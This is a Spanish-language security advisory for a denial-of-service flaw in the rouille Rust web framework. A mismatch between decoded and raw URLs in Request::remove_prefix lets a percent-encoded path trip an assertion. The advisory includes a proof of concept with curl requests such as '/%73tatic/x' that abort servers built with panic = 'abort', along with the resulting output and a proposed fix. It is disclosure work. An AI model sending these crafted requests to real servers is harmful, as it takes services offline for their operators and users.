
Aviso de Seguridad: Denegación de Servicio Remota mediante Aserción Alcanzable en el Manejo de Prefijos de URL (rouille)
CVE ID asignado: CVE-2026-66754
Request::remove_prefix comprueba la URL decodificada en porcentaje, pero hace la aserción sobre la URL cruda.
Una solicitud cuya ruta decodificada comienza con el prefijo mientras que su ruta cruda no, supera la comprobación y falla la aserción. Basta con codificar en porcentaje un carácter del prefijo.
En una compilación predeterminada, el pánico se captura y se convierte en un 500. En una compilación con panic = "abort" no hay nada que lo capture, y una única solicitud GET no autenticada termina el proceso del servidor.
URL del repositorio: https://github.com/tomaka/rouille
| Primera afectada | 0.1.6 (2016-09-22), la versión que introdujo remove_prefix |
| Última afectada | 3.6.2 (2023-04-24), la versión actual |
| No afectada | 0.1.5 y anteriores, que no tienen remove_prefix |
| Corregida en | ninguna versión corregida al momento de redactar esto |
La función no ha cambiado en ninguna versión dentro de ese rango ni en master actual. Las aplicaciones se ven afectadas si llaman a Request::remove_prefix, que es el patrón que rouille documenta para servir archivos estáticos bajo un prefijo de URL (src/assets.rs líneas 66 a 75, y src/lib.rs líneas 804 a 811).
CWE-617 (Aserción alcanzable), que conduce a CWE-248 (Excepción no capturada).
Puntuación base CVSS 4.0: 8.2 (Alta)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Un cliente remoto no autenticado que pueda enviar una única solicitud GET. Sin credenciales y sin interacción del usuario.
panic = "abort" no es el valor predeterminado de Cargo, pero es una opción común de perfil de release para binarios más pequeños y menor sobrecarga. rouille depende del unwinding para la disponibilidad, ya que Server::process se apoya en panic::catch_unwind en la línea 602 de src/lib.rs para convertir los pánicos del manejador en un 500. Esa dependencia no está documentada.
rouille/src/lib.rs, líneas 813 a 822:
813 pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
La línea 814 llama a self.url(), que decodifica el porcentaje. La línea 819 hace la aserción sobre self.url, el campo crudo, y la línea 822 divide ese mismo campo crudo. Las dos representaciones discrepan siempre que la ruta contiene un escape de porcentaje dentro del prefijo:
El mismo desajuste también significa que remove_prefix nunca enruta una ruta legítimamente codificada en porcentaje, por lo que el error de corrección y el error de disponibilidad comparten una misma solución.
Paso 1. Inicie un servidor usando el patrón de prefijo documentado.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
Paso 2. Envíe una solicitud benigna y una solicitud equivalente con la s codificada en porcentaje. --path-as-is evita que curl normalice la ruta.
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Resultado en una compilación predeterminada. La primera es un 404 normal para un archivo inexistente; la segunda es un pánico convertido en un 500:
404
500
con esto en stderr:
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
Paso 3. Recompile el mismo programa con aborto en caso de pánico y repita la segunda solicitud.
[profile.release]
panic = "abort"
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Resultado. El proceso termina con SIGABRT (código de salida 134) y el servidor deja de responder. Una solicitud, sin autenticación, pérdida total de disponibilidad.
En compilaciones con panic = "abort", una única solicitud no autenticada detiene el servidor. En compilaciones predeterminadas, las solicitudes cuya ruta contiene un escape de porcentaje dentro del prefijo devuelven 500 en lugar de servirse, por lo que el enrutamiento también es incorrecto para clientes legítimos.
Tenga en cuenta que el pánico no puede envenenar el mutex que Server::process desarrolla con unwrap fuera de catch_unwind en las líneas 643 y 649 de src/lib.rs, porque remove_prefix solo clona el Arc y nunca mantiene un guard. En compilaciones con unwinding, el hilo de trabajo se recupera limpiamente.
Realice la comparación y la división sobre la misma representación. La versión correcta más simple compara y divide la URL cruda:
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
Si se pretende el comportamiento de comparación decodificada, decodifique la URL una vez, elimine el prefijo de la cadena decodificada y vuelva a codificar el resto en lugar de dividir el campo crudo.
En cualquier caso, el assert! debería eliminarse. Una biblioteca no debería abortar el proceso ante una entrada controlada por el atacante. Documentar que rouille requiere panic = "unwind", o eliminar la dependencia de catch_unwind para la corrección, también ayudaría.
| URL cruda | url() decodificada | Línea 814 | Línea 819 |
|---|
/static/x | /static/x | pasa | pasa |
/%73tatic/x | /static/x | pasa | falla |
/stati%63/x | /static/x | pasa | falla |